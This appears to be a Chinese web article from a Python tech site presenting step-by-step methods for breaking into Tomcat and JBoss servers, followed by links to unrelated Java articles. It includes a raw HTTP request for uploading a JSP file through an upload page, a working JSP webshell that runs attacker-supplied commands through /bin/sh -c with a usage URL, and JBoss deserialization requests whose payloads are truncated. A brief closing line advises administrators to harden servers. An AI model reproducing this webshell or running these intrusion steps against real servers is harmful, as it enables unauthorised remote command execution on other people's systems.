伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图)

伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图)

本文将介绍伪黑客常用的tomcat和Jboss入侵方法,帮助读者更好地了解网络安全和防范黑客攻击。以下是详细攻略:

一、tomcat入侵

1.漏洞扫描

1.1 先扫描端口,确认tomcat是否开启。

1.2 对tomcat的目录进行爆破,找出存在漏洞的页面。

2.弱口令破解

尝试使用常见的弱口令字典,进行暴力破解。

3.文件上传漏洞

尝试上传jsp一句话木马,写入webshell。

示例1:使用工具hackbar模拟文件上传漏洞:

POST /examples/jsp/upload.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1234567890
Content-Length: 395

-----------------------------1234567890
Content-Disposition: form-data; name="fileType"

1
-----------------------------1234567890
Content-Disposition: form-data; name="filename"

web3shell.jsp
-----------------------------1234567890
Content-Disposition: form-data; name="savePath"

/
-----------------------------1234567890
Content-Disposition: form-data; name="file"; filename="web3shell.jsp"
Content-Type: application/octet-stream

<% out.println("Hello World!");%>
-----------------------------1234567890--

4.命令执行漏洞

尝试利用命令执行漏洞,获取web服务器的shell权限。

示例2:使用命令执行漏洞获取web服务器shell权限:

http://localhost:8080/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=67145B74E8C299B7975268F4FA054C6C

在上传的jsp页面里加上一段代码:

<%
if(request.getParameter("cmd")!=null){
    try {
        String cmd = request.getParameter("cmd");
        String[] cmds = new String[] {"/bin/sh", "-c", cmd};
        Process p = Runtime.getRuntime().exec(cmds);
        BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while((line=br.readLine())!=null){
            out.println(line+"<br>");
        }
        br.close();
    } catch (Exception e){
        e.printStackTrace();
    }
}
%>

然后就可以通过以下url执行系统命令:

http://localhost:8080/upload/shell.jsp?cmd=whoami

二、Jboss入侵

1.漏洞扫描

1.1 先扫描端口,确认jboss是否开启。

1.2 对jboss的目录进行爆破,找出存在漏洞的页面。

2.弱口令破解

尝试使用常见的弱口令字典,进行暴力破解。

3.反序列化漏洞

利用Jboss的反序列化漏洞,写入webshell获取shell权限。

示例3:使用序列化漏洞获取web服务器shell权限:

POST /invoker/JMSServlet HTTP/1.1
Host: localhost:8080
Content-Length: 535
Connection: close
Content-Type: application/x-java-serialized-object
class=org.jboss.invocation.MarshalledInvocation&object=
rO0ABXNyABpqYXZhLmxhbmcu...

在序列化的内容中添加一句话木马即可,如:

POST /invoker/JMSServlet HTTP/1.1
Host: localhost:8080
Content-Length: 431
Connection: close
Content-Type: application/x-java-serialized-object
class=org.jboss.invocation.MarshalledInvocation&object=...

结论

tomcat和Jboss作为常见的服务器程序,存在许多安全漏洞。黑客可以通过漏洞扫描、弱口令破解、文件上传漏洞、命令执行漏洞以及反序列化漏洞等方法攻击服务器,获取系统权限。建议系统管理员加强服务器安全配置,定期检查漏洞,提高系统安全性。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:伪黑客的成功的秘密:tomcat入侵和Jboss入侵的方法介绍(图) - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • Java基础之内存泄漏与溢出详解

    Java基础之内存泄漏与溢出详解 什么是内存泄漏 内存泄漏指的是在程序中使用了堆内存空间,但是这些空间已经不再被使用,却没有被释放。这样一来,这些无用的内存空间就会一直占用着计算机的资源,导致计算机变得越来越慢,甚至会崩溃。 内存泄漏的原因 内存泄漏的原因有很多种,常见的包括: 变量的生命周期过长:当一个变量的生命周期过长时,如果不及时将它释放,那么它占用的…

    Java 2023年5月25日
    00
  • Spring框架十一种常见异常的解决方法汇总

    下面我来详细讲解Spring框架常见异常的解决方法汇总。 1. NoSuchBeanDefinitionException异常的解决方法 NoSuchBeanDefinitionException异常表示Spring容器中没有找到对应的bean定义。出现这个异常的原因可能是配置文件名字错误、类名错误、xml文件没有配置等原因。 解决方法:- 检查配置文件名字…

    Java 2023年5月19日
    00
  • Java整合mybatis实现过滤数据

    接下来我将详细讲解“Java整合MyBatis实现过滤数据”的完整攻略,包括以下几个步骤: 配置MyBatis 首先需要在项目中配置MyBatis,具体可以参考该教程:MyBatis官方文档。在配置好MyBatis后,就可以进行下一步。 创建Mapper接口 在使用MyBatis的过程中,很多开发者喜欢使用Mapper接口进行数据库操作,所以我们需要创建一个…

    Java 2023年5月20日
    00
  • java生成图片验证码示例程序

    下面就为您介绍一下生成图片验证码的示例程序。 生成图片验证码示例程序 步骤1:导入验证码库 在Java中创建一个图片验证码需要用到非常多的API,用起来比较繁琐,因此我们可以使用一些第三方库来简化代码。这里我推荐使用Google的Guava库,该库提供了生成图片验证码的常用API,也可以方便的操作对象、字符串、集合等。 在Maven项目的pom.xml文件中…

    Java 2023年6月15日
    00
  • Java Spring的使用注解开发详解

    Java Spring的使用注解开发详解 Java Spring是一个开源框架,它帮助Java开发人员开发企业级应用程序。Spring框架有多种模块,其中最流行的是Spring Core,它是Spring框架的核心部分,提供了依赖注入(DI)和面向切面编程(AOP)等重要功能。本文将详细讲解如何使用注解开发Java Spring应用程序。 环境准备 在开始使…

    Java 2023年5月19日
    00
  • SpringBoot启动流程SpringApplication准备阶段源码分析

    下面就详细讲解一下“SpringBoot启动流程SpringApplication准备阶段源码分析”的完整攻略。SpringBoot启动流程可以分为准备阶段、运行阶段、关闭阶段三个阶段,而本篇主要介绍SpringApplication的准备阶段。 SpringBoot启动流程简介 SpringBoot启动流程包括如下三个阶段: 准备阶段:包括Applicat…

    Java 2023年5月31日
    00
  • springboot+mybatis通过实体类自动生成数据库表的方法

    下面我将详细讲解“springboot+mybatis通过实体类自动生成数据库表的方法”的完整攻略,其中会包含两个示例。 1. 引入依赖 首先,在工程的pom.xml文件中引入如下依赖: <!– Spring Boot 依赖 –> <dependency> <groupId>org.springframework.bo…

    Java 2023年5月20日
    00
  • Java对象转json JsonFormat注解

    Java对象转json是Java中很常见的操作,而JsonFormat注解可以对对象中的日期字段进行格式化。下面就来详细讲解这个过程,并附带两个示例说明。 Java对象转json Java对象转json可以使用很多第三方工具库,如fastjson、Jackson、Gson等等。对于这里的讲解,我们以Jackson为例。 步骤 引入Jackson库,可以通过M…

    Java 2023年5月26日
    00
合作推广
合作推广
分享本页
返回顶部